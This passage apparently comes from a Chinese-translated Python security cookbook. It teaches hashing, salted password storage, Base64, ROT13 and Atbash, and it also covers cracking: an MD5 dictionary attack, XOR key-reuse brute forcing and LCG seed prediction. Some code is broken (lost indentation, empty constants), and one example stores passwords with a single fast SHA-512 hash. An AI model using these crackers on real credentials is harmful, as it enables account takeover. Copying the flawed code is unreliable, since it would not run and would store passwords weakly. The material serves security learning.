message = raw_input("Enter the string you would like to hash: ")

md5 = hashlib.md5(message)
md5 = md5.hexdigest()

sha1 = hashlib.sha1(message)
sha1 = sha1.hexdigest()

sha256 = hashlib.sha256(message)
sha256 = sha256.hexdigest()

sha512 = hashlib.sha512(message)
sha512 = sha512.hexdigest()

print "MD5 Hash =", md5
print "SHA1 Hash =", sha1
print "SHA256 Hash =", sha256
print "SHA512 Hash =", sha512
print "End of list."

它是如何工作的…

再次,在将正确的模块导入到此脚本之后,我们需要接收用户输入,将其转换为编码字符串:

import hashlib
message = raw_input('Please enter the string you would like to hash: ')

从这里开始,我们可以开始将字符串通过所有不同的编码方法,并确保它们通过hexdigest(),以便输出变得可读:

md5 = hashlib.md5(message)
md5 = md5.hexdigest()

sha1 = hashlib.sha1(message)
sha1 = sha1.hexdigest()

sha256 = hashlib.sha256(message)
sha256 = sha256.hexdigest()

sha512 = hashlib.sha512(message)
sha512 = sha512.hexdigest()

一旦我们创建了所有的编码字符串,只需将每个字符串打印给用户即可:

print "MD5 Hash =", md5
print "SHA1 Hash =", sha1
print "SHA256 Hash =", sha256
print "SHA512 Hash =", sha512
print "End of list."

这是脚本运行的一个示例:

Enter the string you would like to hash: test
MD5 Hash = 098f6bcd4621d373cade4e832627b4f6
SHA1 Hash= a94a8fe5ccb19ba61c4c0873d391e987982fbbd3
SHA256 Hash= 9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08
SHA512 Hash= ee26b0dd4af7e749aa1a8ee3c10ae9923f618980772e473f8819a5d4940e0 db27ac185f8a0e1d5f84f88bc887fd67b143732c304cc5fa9ad8e6f57f50028a8ff
End of list.

在真实世界的场景中实现 SHA

以下是真实 SHA 实现的示例。

准备工作

对于这个脚本,我们将需要hashlib库和uuid库。

如何做…

对于这个真实世界的示例,我们将实现一个 SHA256 编码方案,并生成一个盐,使其更加安全,以防止预先计算的哈希表。然后我们将通过密码检查来确保密码被正确输入:

#!/usr/bin/python
import uuid
import hashlib

# Let's do the hashing. We create a salt and append it to the password once hashes.

def hash(password):
    salt = uuid.uuid4().hex
    return hashlib.sha512(salt.encode() + password.encode()).hexdigest() + ':' + salt

# Let's confirm that worked as intended.

def check(hashed, p2):
    password, salt = hashed.split(':')
    return password == hashlib.sha512(salt.encode() + p2.encode()).hexdigest()

password = raw_input('Please enter a password: ')
hashed = hash(password)
print('The string to store in the db is: ' + hashed)
re = raw_input('Please re-enter your password: ')

# Let's ensure the passwords matched

if check(hashed, re):
    print('Password Match')
else:
    print('Password Mismatch')

它是如何工作的…

开始脚本之前,我们需要导入正确的库:

import uuid
import hashlib

然后我们需要定义将哈希密码的函数。我们首先创建一个盐,使用uuid库。一旦盐被生成,我们使用hashlib.sha256将盐编码和密码编码串在一起,并使用hexdigest使其可读,最后将盐附加到末尾:

def hash(password):
    salt = uuid.uuid4().hex
    return hashlib.sha512(salt.encode() + password.encode()).hexdigest() + ':' + salt

接下来,我们转向检查密码函数。这将确认我们的原始密码与第二个密码相同,以确保没有错误。这是通过使用与之前相同的方法来完成的:

def check(hashed, p2):
    password, salt = hashed.split(':')
    return password == hashlib.sha512(salt.encode() + p2.encode()).hexdigest()

一旦我们创建了所需的代码块,我们可以开始要求用户输入所需的输入。我们首先要求原始密码,并使用hash_password函数创建哈希。然后将其打印给用户。完成第一个密码后,我们再次要求输入密码,以确保没有拼写错误。check_password函数然后再次对密码进行哈希并将原始密码与新密码进行比较。如果匹配,用户将被告知密码是正确的;如果不匹配,用户将被告知密码不匹配:

password = raw_input('Please enter a password: ')
hashed = hash(password)
print('The string to store in the db is: ' + hashed)
re = raw_input('Please re-enter your password: ')
if check(hashed, re):
    print('Password Match')
else:
    print('Password Mismatch')

这是代码的一个使用示例:

Please enter a password: password
The string to store in the db is: a8be1e0e023e2c9c1e96187c4b966222ccf1b7d34718ad60f8f000094d39 d8dd3eeb837af135bfe50c7baea785ec735ed04f230ffdbe2ed3def1a240c 97ca127:d891b46fc8394eda85ccf85d67969e82
Please re-enter your password: password
Password Match

上面的结果是一个用户两次输入相同密码的示例。这是一个用户未能输入相同密码的示例:

Please enter a password: password1
The string to store in the db is: 418bba0beeaef52ce523dafa9b19baa449562cf034ebd1e4fea8c007dd49cb 1004e10b837f13d59b13236c54668e44c9d0d8dbd03e32cd8afad6eff04541 ed07:1d9cd2d9de5c46068b5c2d657ae45849
Please re-enter your password: password
Password Mismatch

生成 Bcrypt 哈希

其中一个不太常用但更安全的哈希函数是Bcrypt。Bcrypt 哈希被设计为在加密和解密哈希时速度较慢。这种设计用于防止哈希泄露到公共场合时容易被破解,例如从数据库泄露。

准备工作

对于这个脚本,我们将在 Python 中使用bcrypt模块。这可以通过pipeasy_install安装,但是您需要确保安装的是版本 0.4 而不是版本 1.1.1,因为版本 1.1.1 删除了Bcrypt模块的一些功能。

如何做…

在 Python 中生成 Bcrypt 散列与生成其他散列(如 SHA 和 MD5)类似,但也略有不同。与其他散列一样,我们可以提示用户输入密码,也可以将其硬编码到脚本中。Bcrypt 中的哈希更复杂,因为使用了随机生成的盐,这些盐被附加到原始哈希中。这增加了哈希的复杂性,因此增加了哈希函数中存储的密码的安全性。

该脚本还在最后有一个checking模块,与现实世界的例子有关。它要求用户重新输入他们想要哈希的密码,并确保与原始输入匹配。密码确认是许多开发人员的常见做法,在现代,几乎每个注册表单都使用这种方法:

import bcrypt
# Let's first enter a password
new = raw_input('Please enter a password: ')
# We'll encrypt the password with bcrypt with the default salt value of 12
hashed = bcrypt.hashpw(new, bcrypt.gensalt())
# We'll print the hash we just generated
print('The string about to be stored is: ' + hashed)
# Confirm we entered the correct password
plaintext = raw_input('Please re-enter the password to check: ')
# Check if both passwords match
if bcrypt.hashpw(plaintext, hashed) == hashed:
    print 'It\'s a match!'
else:
    print 'Please try again.'

工作原理…

我们首先通过导入所需的模块来启动脚本。在这种情况下,我们只需要bcrypt模块:

import bcrypt

然后我们可以使用标准的raw_input方法从用户那里请求输入:

new = raw_input('Please enter a password: ')

在我们有了输入之后,我们可以开始使用详细的哈希方法。首先,我们使用bcrypt.hashpw函数对输入进行哈希处理。然后我们给它输入的密码的值,然后还随机生成一个盐,使用bcrypt.gensalt()。这可以通过使用以下方式实现:

hashed = bcrypt.hashpw(new, bcrypt.gensalt())

然后我们将散列值打印给用户,这样他们就可以看到生成的散列值:

print ('The string about to be stored is: ' + hashed)

现在,我们开始密码确认。我们必须提示用户再次输入密码,以便我们确认他们输入正确:

plaintext = raw_input('Please re-enter the password to check: ')

一旦我们有了密码,我们可以使用 Python 中的==功能来检查两个密码是否匹配:

If bcrypt.hashpw(plaintext, hashed) == hashed:
  print "It\'s a match"
else:
  print "Please try again".

我们可以看到脚本的运行情况如下:

Please enter a password: example
The string about to be stored is: $2a$12$Ie6u.GUpeO2WVjchYg7Pk.741gWjbCdsDlINovU5yubUeqLIS1k8e
Please re-enter the password to check: example
It's a match!

Please enter a password: example
The string about to be stored is: $2a$12$uDtDrVCv2vqBw6UjEAYE8uPbfuGsxdYghrJ/YfkZuA7vaMvGIlDGe
Please re-enter the password to check: incorrect
Please try again.

破解 MD5 散列

由于 MD5 是一种加密方法并且是公开可用的,因此可以使用常见的破解散列方法来创建散列冲突。这反过来“破解”了散列,并向您返回在经过 MD5 处理之前的字符串的值。这最常见的是通过“字典”攻击来实现的。这包括将一系列单词通过 MD5 编码过程并检查它们是否与您尝试破解的 MD5 散列匹配。这是因为如果散列相同,则 MD5 散列始终相同。

准备工作

对于这个脚本,我们只需要hashlib模块。

如何做…

要开始破解 MD5 散列,我们需要加载一个包含要在 MD5 中加密的单词列表的文件。这将允许我们循环遍历散列并检查是否有匹配:

import hashlib
target = raw_input("Please enter your hash here: ")
dictionary = raw_input("Please enter the file name of your dictionary: ")
def main():
    with open(dictionary) as fileobj:
        for line in fileobj:
            line = line.strip()
            if hashlib.md5(line).hexdigest() == target:
                print "Hash was successfully cracked %s: The value is %s" % (target, line)
                return ""
    print "Failed to crack the file."
if __name__ == "__main__":
    main()

工作原理…

我们首先像平常一样将模块加载到 Python 中:

import hashlib

我们需要用户输入要破解的散列以及我们要加载以破解的字典的名称:

target = raw_input("Please enter your hash here: ")
dictionary = raw_input("Please enter the file name of your dictionary: ")

一旦我们有了要破解的散列和字典,我们就可以继续进行编码。我们需要打开dictionary文件并逐个对每个字符串进行编码。然后我们可以检查是否有任何散列与我们要破解的原始散列匹配。如果有匹配,我们的脚本将通知我们并给出值:

def main():
    with open(dictionary) as fileobj:
        for line in fileobj:
            line = line.strip()
            if hashlib.md5(line).hexdigest() == target:
                print "Hash was successfully cracked %s: The value is %s" % (target, line)
                return ""
    print "Failed to crack the file."

现在剩下的就是运行程序:

if __name__ == "__main__":
    main()

现在让我们看看脚本的运行情况:

Please enter your hash here: 5f4dcc3b5aa765d61d8327deb882cf99
Please enter the file name of your dictionary: dict.txt
Hash was successfully cracked 5f4dcc3b5aa765d61d8327deb882cf99: The value is password

使用 Base64 进行编码

Base64 是一种经常使用的编码方法。它非常容易编码和解码,这使得它既非常有用又危险。Base64 不再常用于编码敏感数据,但曾经有过这样的时期。

准备工作

值得庆幸的是,对于 Base64 编码,我们不需要任何外部模块。

如何做…

要生成 Base64 编码的字符串,我们可以使用默认的 Python 功能来帮助我们实现它:

#!/usr/bin/python
msg = raw_input('Please enter the string to encode: ')
print "Your B64 encoded string is: " + msg.encode('base64')

工作原理…

在 Python 中对字符串进行 Base64 编码非常简单,可以在两行脚本中完成。首先,我们需要将字符串作为用户输入提供给我们,这样我们就有了可以使用的东西:

msg = raw_input('Please enter the string to encode: ')

一旦我们有了字符串,我们可以在打印出结果时进行编码,使用msg.encode('base64')

print "Your B64 encoded string is: " + msg.encode('base64')

以下是脚本运行的示例:

Please enter the string to encode: This is an example
Your B64 encoded string is: VghpcyBpcyBhbiBleGFtcGxl

使用 ROT13 编码

ROT13 编码绝对不是编码任何东西的最安全方法。通常,ROT13 多年前被用来隐藏论坛上的冒犯性笑话,作为一种不适宜工作NSFW)标记,以便人们不会立即看到这个评论。如今,它主要用于夺旗CTF)挑战,你会发现原因的。

准备工作

对于这个脚本,我们将需要非常具体的模块。我们将需要maketrans功能,以及来自string模块的小写和大写功能。

如何做…

要使用 ROT13 编码方法,我们需要复制 ROT13 密码实际执行的操作。13 表示每个字母将沿字母表移动 13 个位置,这使得编码非常容易逆转:

from string import maketrans, lowercase, uppercase
def rot13(message):
   lower = maketrans(lowercase, lowercase[13:] + lowercase[:13])
   upper = maketrans(uppercase, uppercase[13:] + uppercase[:13])
   return message.translate(lower).translate(upper)
message = raw_input('Enter :')
print rot13(message)

它是如何工作的…

这是我们的脚本中第一个不仅仅需要hashlib模块的脚本;而是需要字符串的特定功能。我们可以使用以下导入这些:

from string import maketrans, lowercase, uppercase

接下来,我们可以创建一个代码块来为我们进行编码。我们使用 Python 的maketrans功能告诉解释器将字母移动 13 个位置,并保持大写和小写。然后我们要求它将值返回给我们:

def rot13(message):
   lower = maketrans(lowercase, lowercase[13:] + lowercase[:13])
   upper = maketrans(uppercase, uppercase[13:] + uppercase[:13])
   return message.translate(lower).translate(upper)

然后我们需要询问用户输入一些内容,这样我们就有一个字符串可以使用;这是以传统方式完成的:

message = raw_input('Enter :')

一旦我们有了用户输入,我们就可以打印出我们的字符串通过我们的rot13代码块传递的值:

print rot13(message)

以下是代码使用的示例:

Enter :This is an example of encoding in Python
Guvf vf na rknzcyr bs rapbqvat va Clguba

破解替换密码

以下是最近遇到的一个真实场景的示例。替换密码是指用其他字母替换字母以形成新的隐藏消息。在由"NullCon"主办的 CTF 中,我们遇到了一个看起来像替换密码的挑战。挑战是:

找到密钥:

TaPoGeTaBiGePoHfTmGeYbAtPtHoPoTaAuPtGeAuYbGeBiHoTaTmPtHoTmGePoAuGe ErTaBiHoAuRnTmPbGePoHfTmGeTmRaTaBiPoTmPtHoTmGeAuYbGeTbGeLuTmPtTm PbTbOsGePbTmTaLuPtGeAuYbGeAuPbErTmPbGeTaPtGePtTbPoAtPbTmGeTbPtEr GePoAuGeYbTaPtErGePoHfTmGeHoTbAtBiTmBiGeLuAuRnTmPbPtTaPtLuGePoHf TaBiGeAuPbErTmPbPdGeTbPtErGePoHfTaBiGePbTmYbTmPbBiGeTaPtGeTmTlAt TbOsGeIrTmTbBiAtPbTmGePoAuGePoHfTmGePbTmOsTbPoTaAuPtBiGeAuYbGeIr TbPtGeRhGeBiAuHoTaTbOsGeTbPtErGeHgAuOsTaPoTaHoTbOsGeRhGeTbPtErGePoAuGePoHfTmGeTmPtPoTaPbTmGeAtPtTaRnTmPbBiTmGeTbBiGeTbGeFrHfAuOs TmPd

准备工作

对于这个脚本,不需要任何外部库。

如何做…

为了解决这个问题,我们将我们的字符串与我们的周期字典中的值进行匹配,并将发现的值转换为它们的 ascii 形式。这样就返回了我们最终答案的输出:

string = "TaPoGeTaBiGePoHfTmGeYbAtPtHoPoTaAuPtGeAuYbGeBiHoTaTmPtHoTmGePoA uGeErTaBiHoAuRnTmPbGePoHfTmGeTmRaTaBiPoTmPtHoTmGeAuYbGeTbGeLuTmP tTmPbTbOsGePbTmTaLuPtGeAuYbGeAuPbErTmPbGeTaPtGePtTbPoAtPbTmGeTbP tErGePoAuGeYbTaPtErGePoHfTmGeHoTbAtBiTmBiGeLuAuRnTmPbPtTaPtLuGeP oHfTaBiGeAuPbErTmPbPdGeTbPtErGePoHfTaBiGePbTmYbTmPbBiGeTaPtGeTmT lAtTbOsGeIrTmTbBiAtPbTmGePoAuGePoHfTmGePbTmOsTbPoTaAuPtBiGeAuYbG eIrTbPtGeRhGeBiAuHoTaTbOsGeTbPtErGeHgAuOsTaPoTaHoTbOsGeRhGeTbPtE rGePoAuGePoHfTmGeTmPtPoTaPbTmGeAtPtTaRnTmPbBiTmGeTbBiGeTbGeFrHfA uOsTmPd"

n=2
list = []
answer = []

[list.append(string[i:i+n]) for i in range(0, len(string), n)]

print set(list)

periodic ={"Pb": 82, "Tl": 81, "Tb": 65, "Ta": 73, "Po": 84, "Ge": 32, "Bi": 83, "Hf": 72, "Tm": 69, "Yb": 70, "At": 85, "Pt": 78, "Ho": 67, "Au": 79, "Er": 68, "Rn": 86, "Ra": 88, "Lu": 71, "Os": 76, "Tl": 81, "Pd": 46, "Rh": 45, "Fr": 87, "Hg": 80, "Ir": 77}

for value in list:
    if value in periodic:
        answer.append(chr(periodic[value]))

lastanswer = ''.join(answer)
print lastanswer

它是如何工作的…

要启动这个脚本,我们首先在脚本中定义了key字符串。然后定义了n变量为2以供以后使用,并创建了两个空列表—list 和 answer:

string = --snipped--
n=2
list = []
answer = []

然后我们开始创建列表,它通过字符串并提取两个字母的集合并将它们附加到列表值,然后打印出来:

[list.append(string[i:i+n]) for i in range(0, len(string), n)]
print set(list)

这两个字母分别对应于周期表中的一个值,这与一个数字相关。当这些数字转换为 ascii 相关的字符时。一旦发现了这一点,我们需要将元素映射到它们的周期数,并存储起来:

periodic ={"Pb": 82, "Tl": 81, "Tb": 65, "Ta": 73, "Po": 84, "Ge": 32, "Bi": 83, "Hf": 72, "Tm": 69, "Yb": 70, "At": 85, "Pt": 78, "Ho": 67, "Au": 79, "Er": 68, "Rn": 86, "Ra": 88, "Lu": 71, "Os": 76, "Tl": 81, "Pd": 46, "Rh": 45, "Fr": 87, "Hg": 80, "Ir": 77}

然后我们可以创建一个循环,它将遍历我们之前创建并命名为list的元素列表,并将它们映射到我们创建的periodic数据集中的值。在运行时,我们可以让它将发现附加到我们的答案字符串中,同时将 ascii 数字转换为相关字母:

for value in list:
    if value in periodic:
        answer.append(chr(periodic[value]))

最后,我们需要将数据打印出来:

lastanswer = ''.join(answer)
print lastanswer

以下是脚本运行的示例:

set(['Pt', 'Pb', 'Tl', 'Lu', 'Ra', 'Pd', 'Rn', 'Rh', 'Po', 'Ta', 'Fr', 'Tb', 'Yb', 'Bi', 'Ho', 'Hf', 'Hg', 'Os', 'Ir', 'Ge', 'Tm', 'Au', 'At', 'Er'])
IT IS THE FUNCTION OF SCIENCE TO DISCOVER THE EXISTENCE OF A GENERAL REIGN OF ORDER IN NATURE AND TO FIND THE CAUSES GOVERNING THIS ORDER. AND THIS REFERS IN EQUAL MEASURE TO THE RELATIONS OF MAN - SOCIAL AND POLITICAL - AND TO THE ENTIRE UNIVERSE AS A WHOLE.

破解 Atbash 密码

Atbash 密码是一种简单的密码,它使用字母表中的相反值来转换单词。例如,A 等于 Z,C 等于 X。

准备工作

对此,我们只需要string模块。

如何做…

由于 Atbash 密码是通过使用字母表中字符的相反值来工作的,我们可以创建一个maketrans功能来替换字符:

import string
input = raw_input("Please enter the value you would like to Atbash Cipher: ")
transform = string.maketrans(
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz",
"ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba")
final = string.translate(input, transform)
print final

它是如何工作的…

导入正确的模块后,我们要求用户输入他们想要加密到 Atbash 密码中的值:

import string
input = raw_input("Please enter the value you would like to Atbash Ciper: ")

接下来,我们创建要使用的maketrans功能。我们通过列出我们想要替换的第一组字符,然后列出另一组用于替换前一组的字符来实现这一点:

transform = string.maketrans(
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz",
"ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba")

最后,我们只需要给转换一个值,应用它,并打印出值以获得最终结果:

final = string.translate(input, transform)
print final

以下是脚本的示例:

Please enter the value you would like to Atbash Cipher: testing
gvhgrmt

攻击一次性密码重用

一次性密码的概念是早期密码学的基本核心。基本上,各方记住一个短语,当发送消息时,对每一步都用该短语进行移位。例如,如果短语是apple,消息是i like them,那么我们将a加到i上得到j,以此类推,最终得到编码后的消息。

最近,许多恶意软件工程师和糟糕的软件工程师使用 XOR 来执行相同的活动。当漏洞存在且我们可以创建有用的脚本的地方是,同一个密钥已被多次使用。如果多个基于 ASCII 的字符串已经与相同的基于 ASCII 的字符串进行了 XOR 运算,我们可以通过逐个字符地将它们与 ASCII 值进行 XOR 运算来同时破解这些字符串。

以下脚本将逐个字符地对文件中的 XOR 值列表进行暴力破解。

准备工作

将 XOR 短语列表放入一个文件中。将该文件放在与您的脚本相同的文件夹中(或者不放;如果放了,它只会让事情稍微变得容易一点)。

如何做…

脚本应该看起来像这样:

import sys
import string

f = open("ciphers.txt", "r")

MSGS = f.readlines()

def strxor(a, b):  
    if len(a) > len(b):
        return "".join([chr(ord(x) ^ ord(y)) for (x, y) in zip(a[:len(b)], b)])
    else:
        return "".join([chr(ord(x) ^ ord(y)) for (x, y) in zip(a, b[:len(a)])])

def encrypt(key, msg):
    c = strxor(key, msg)
    return c

for msg in MSGS:
for value in string.ascii_letters:
for value2 in string.ascii_letters:
  for value3 in string.ascii_letters:
key = value+value2+value3
answer = encrypt(msg, key)
print answer[3:]

它是如何工作的…

这个脚本非常简单。我们打开一个包含 XOR 值的文件,并按行拆分它:

f = open("ciphers.txt", "r")

MSGS = f.readlines()

我们无耻地使用了行业标准的XOR python。基本上,这个函数将两个字符串等长地等同起来,然后将它们进行XOR运算:

def strxor(a, b):  
    if len(a) > len(b):
        return "".join([chr(ord(x) ^ ord(y)) for (x, y) in zip(a[:len(b)], b)])
    else:
        return "".join([chr(ord(x) ^ ord(y)) for (x, y) in zip(a, b[:len(a)])])

def encrypt(key, msg):
    c = strxor(key, msg)
    return c

然后,我们运行所有 ASCII 值三次,以获取ciphers.txt文件中每行的aaazzz的所有组合。我们每次将 ASCII 循环的值分配给密钥:

for msg in MSGS:
for value in string.ascii_letters:
for value2 in string.ascii_letters:
  for value3 in string.ascii_letters:
key = value+value2+value3

然后,我们用生成的密钥加密该行并将其打印出来。我们可以轻松地将其导入文件,就像我们在整本书中已经展示的那样:

answer = encrypt(msg, key)
print answer[3:]

预测线性同余生成器

LCG 被用于网络应用程序中创建快速和简单的伪随机数。它们天生就是不安全的,只要有足够的数据,就可以很容易地预测。LCG 的算法是:

预测线性同余生成器

在这里,X是当前值,a是固定的乘数,c是固定的增量,m是固定的模数。如果泄漏了任何数据,例如本例中的乘数、模数和增量,就有可能计算出种子,从而计算出下一个值。

准备工作

这里的情况是一个应用程序生成随机的两位数并将它们返回给你。你知道乘数、模数和增量。这可能看起来很奇怪,但这在实际测试中确实发生过。

如何做…

以下是代码:

C = ""
A = ""
M = ""

print "Starting attempt to brute"

for i in range(1, 99999999):
    a = str((A * int(str(i)+'00') + C) % 2**M)
    if a[-2:] == "47":
        b = str((A * int(a) + C) % 2**M)
        if b[-2:] == "46":
            c = str((A * int(b) + C) % 2**M)
            if c[-2:] == "57":
                d = str((A * int(c) + C) % 2**M)
                if d[-2:] == "56":
                    e = str((A * int(d) + C) % 2**M)
                    if e[-2:] == "07":
                        f = str((A * int(e) + C) % 2**M)
                        if f[-2:] == "38":
                            g = str((A * int(f) + C) % 2**M)
                            if g[-2:] == "81":
                                h = str((A * int(g) + C) % 2**M)
                                if h[-2:] == "32":
                                    j = str((A * int(h) + C) % 2**M)
                                    if j[-2:] == "19":
                                        k = str((A * int(j) + C) % 2**M)
                                        if k[-2:] == "70":
                                            l = str((A * int(k) + C) % 2**M)
                                            if l[-2:] == "53":
                                                print "potential number found: "+l
print "next 9 values are:"
for i in range(1, 10):
    l = str((A * int(l) + C) % 2**M)
    print l[-2:]

它是如何工作的…

我们设置了三个值,增量、乘数和模数分别为CAM

C = ""
A = ""
M = ""

然后,我们声明种子可能的大小范围,本例中为 1 到 8 位数字:

for i in range(1, 99999999):

然后,我们执行第一个 LCG 转换,并使用网页上标记的第一个值生成可能的值,如下例所示:

a = str((A * int(str(i)+'00') + C) % 2**M)

我们取得网页生成的第二个值,并检查这个转换的结果是否与之相匹配:

    if a[-2:] == "47":

如果成功,我们就用与第一个转换匹配的数字执行下一个转换:

        b = str((A * int(a) + C) % 2**M)

我们在这里重复这个过程 10 次,但可以根据需要重复多次,直到找到一个与迄今为止所有数字都匹配的输出。我们打印一个带有该数字的警报:

print "potential number found: "+l

然后,我们重复这个过程 10 次,以该数字作为种子生成下一个 10 个值,以便我们预测新值。

识别哈希

你使用的几乎每个网络应用程序都应该以某种形式以哈希格式存储你的密码,以增加安全性。对于用户密码来说,一个良好的哈希系统可以在数据库被盗时非常有用,因为这将延长黑客破解密码所需的时间。

出于这个原因,我们有许多不同的哈希方法,其中一些在不同的应用程序中被重复使用,比如 MD5 和 SHA 哈希,但一些如 Des(UNIX)则较少见。因此,能够将哈希值与其所属的哈希函数进行匹配是一个好主意。我们不能仅仅基于哈希长度来进行匹配,因为许多哈希函数具有相同的长度,因此为了帮助我们,我们将使用正则表达式Regex)。这允许我们定义长度、使用的字符以及是否存在任何数字值。

准备工作

对于这个脚本,我们将只使用re模块。

如何做…

如前所述,我们将围绕正则表达式值构建脚本,并使用这些值将输入哈希映射到存储的哈希值。这将允许我们非常快速地挑选出哈希的潜在匹配项:

import re
def hashcheck (hashtype, regexstr, data):
    try:
        valid_hash = re.finditer(regexstr, data)
        result = [match.group(0) for match in valid_hash]
        if result: 
            return "This hash matches the format of: " + hashtype
    except: pass
string_to_check = raw_input('Please enter the hash you wish to check: ')
hashes = (
("Blowfish(Eggdrop)", r"^\+[a-zA-Z0-9\/\.]{12}$"),
("Blowfish(OpenBSD)", r"^\$2a\$[0-9]{0,2}?\$[a-zA-Z0- 9\/\.]{53}$"),
("Blowfish crypt", r"^\$2[axy]{0,1}\$[a-zA-Z0-9./]{8}\$[a-zA-Z0- 9./]{1,}$"),
("DES(Unix)", r"^.{0,2}[a-zA-Z0-9\/\.]{11}$"),
("MD5(Unix)", r"^\$1\$.{0,8}\$[a-zA-Z0-9\/\.]{22}$"),
("MD5(APR)", r"^\$apr1\$.{0,8}\$[a-zA-Z0-9\/\.]{22}$"),
("MD5(MyBB)", r"^[a-fA-F0-9]{32}:[a-z0-9]{8}$"),
("MD5(ZipMonster)", r"^[a-fA-F0-9]{32}$"),
("MD5 crypt", r"^\$1\$[a-zA-Z0-9./]{8}\$[a-zA-Z0-9./]{1,}$"),
("MD5 apache crypt", r"^\$apr1\$[a-zA-Z0-9./]{8}\$[a-zA-Z0- 9./]{1,}$"),
("MD5(Joomla)", r"^[a-fA-F0-9]{32}:[a-zA-Z0-9]{16,32}$"),
("MD5(Wordpress)", r"^\$P\$[a-zA-Z0-9\/\.]{31}$"),
("MD5(phpBB3)", r"^\$H\$[a-zA-Z0-9\/\.]{31}$"),
("MD5(Cisco PIX)", r"^[a-zA-Z0-9\/\.]{16}$"),
("MD5(osCommerce)", r"^[a-fA-F0-9]{32}:[a-zA-Z0-9]{2}$"),
("MD5(Palshop)", r"^[a-fA-F0-9]{51}$"),
("MD5(IP.Board)", r"^[a-fA-F0-9]{32}:.{5}$"),
("MD5(Chap)", r"^[a-fA-F0-9]{32}:[0-9]{32}:[a-fA-F0-9]{2}$"),
("Juniper Netscreen/SSG (ScreenOS)", r"^[a-zA-Z0-9]{30}:[a-zA-Z0- 9]{4,}$"),
("Fortigate (FortiOS)", r"^[a-fA-F0-9]{47}$"),
("Minecraft(Authme)", r"^\$sha\$[a-zA-Z0-9]{0,16}\$[a-fA-F0- 9]{64}$"),
("Lotus Domino", r"^\(?[a-zA-Z0-9\+\/]{20}\)?$"),
("Lineage II C4", r"⁰x[a-fA-F0-9]{32}$"),
("CRC-96(ZIP)", r"^[a-fA-F0-9]{24}$"),
("NT crypt", r"^\$3\$[a-zA-Z0-9./]{8}\$[a-zA-Z0-9./]{1,}$"),
("Skein-1024", r"^[a-fA-F0-9]{256}$"),
("RIPEMD-320", r"^[A-Fa-f0-9]{80}$"),
("EPi hash", r"⁰x[A-F0-9]{60}$"),
("EPiServer 6.x < v4", r"^\$episerver\$\*0\*[a-zA-Z0-9]{22}==\*[a- zA-Z0-9\+]{27}$"),
("EPiServer 6.x >= v4", r"^\$episerver\$\*1\*[a-zA-Z0- 9]{22}==\*[a-zA-Z0-9]{43}$"),
("Cisco IOS SHA256", r"^[a-zA-Z0-9]{43}$"),
("SHA-1(Django)", r"^sha1\$.{0,32}\$[a-fA-F0-9]{40}$"),
("SHA-1 crypt", r"^\$4\$[a-zA-Z0-9./]{8}\$[a-zA-Z0-9./]{1,}$"),
("SHA-1(Hex)", r"^[a-fA-F0-9]{40}$"),
("SHA-1(LDAP) Base64", r"^\{SHA\}[a-zA-Z0-9+/]{27}=$"),
("SHA-1(LDAP) Base64 + salt", r"^\{SSHA\}[a-zA-Z0- 9+/]{28,}[=]{0,3}$"),
("SHA-512(Drupal)", r"^\$S\$[a-zA-Z0-9\/\.]{52}$"),
("SHA-512 crypt", r"^\$6\$[a-zA-Z0-9./]{8}\$[a-zA-Z0-9./]{1,}$"),
("SHA-256(Django)", r"^sha256\$.{0,32}\$[a-fA-F0-9]{64}$"),
("SHA-256 crypt", r"^\$5\$[a-zA-Z0-9./]{8}\$[a-zA-Z0-9./]{1,}$"),
("SHA-384(Django)", r"^sha384\$.{0,32}\$[a-fA-F0-9]{96}$"),
("SHA-256(Unix)", r"^\$5\$.{0,22}\$[a-zA-Z0-9\/\.]{43,69}$"),
("SHA-512(Unix)", r"^\$6\$.{0,22}\$[a-zA-Z0-9\/\.]{86}$"),
("SHA-384", r"^[a-fA-F0-9]{96}$"),
("SHA-512", r"^[a-fA-F0-9]{128}$"),
("SSHA-1", r"^({SSHA})?[a-zA-Z0-9\+\/]{32,38}?(==)?$"),
("SSHA-1(Base64)", r"^\{SSHA\}[a-zA-Z0-9]{32,38}?(==)?$"),
("SSHA-512(Base64)", r"^\{SSHA512\}[a-zA-Z0-9+]{96}$"),
("Oracle 11g", r"^S:[A-Z0-9]{60}$"),
("SMF >= v1.1", r"^[a-fA-F0-9]{40}:[0-9]{8}&"),
("MySQL 5.x", r"^\*[a-f0-9]{40}$"),
("MySQL 3.x", r"^[a-fA-F0-9]{16}$"),
("OSX v10.7", r"^[a-fA-F0-9]{136}$"),
("OSX v10.8", r"^\$ml\$[a-fA-F0-9$]{199}$"),
("SAM(LM_Hash:NT_Hash)", r"^[a-fA-F0-9]{32}:[a-fA-F0-9]{32}$"),
("MSSQL(2000)", r"⁰x0100[a-f0-9]{0,8}?[a-f0-9]{80}$"),
("MSSQL(2005)", r"⁰x0100[a-f0-9]{0,8}?[a-f0-9]{40}$"),
("MSSQL(2012)", r"⁰x02[a-f0-9]{0,10}?[a-f0-9]{128}$"),
("TIGER-160(HMAC)", r"^[a-f0-9]{40}$"),
("SHA-256", r"^[a-fA-F0-9]{64}$"),
("SHA-1(Oracle)", r"^[a-fA-F0-9]{48}$"),
("SHA-224", r"^[a-fA-F0-9]{56}$"),
("Adler32", r"^[a-f0-9]{8}$"),
("CRC-16-CCITT", r"^[a-fA-F0-9]{4}$"),
("NTLM)", r"^[0-9A-Fa-f]{32}$"),
)
counter = 0
for h in hashes:
    text = hashcheck(h[0], h[1], string_to_check)
    if text is not None:
        counter += 1
        print text
if counter == 0:
    print "Your input hash did not match anything, sorry!"

工作原理…

在我们导入re模块之后,我们将开始构建我们的第一个代码块,这将是我们脚本的核心。我们将尝试在整个脚本中使用常规命名,以使其在以后更易管理。出于这个原因,我们选择了名为hashcheck。我们使用名为hashtype来表示即将在正则表达式代码块中出现的哈希的名称,我们使用regexstr来表示正则表达式,最后使用数据。

我们创建一个名为valid_hash的字符串,并为其赋予在通过数据后迭代值的值,这只会在我们有一个有效的匹配时发生。这可以在稍后看到,我们在那里为匹配哈希值的值 result 赋予了匹配哈希值的名称,我们最终打印匹配(如果找到一个或多个)并在结尾添加我们的except语句:

def hashcheck (hashtype, regexstr, data):
    try:
        valid_hash = re.finditer(regexstr, data)
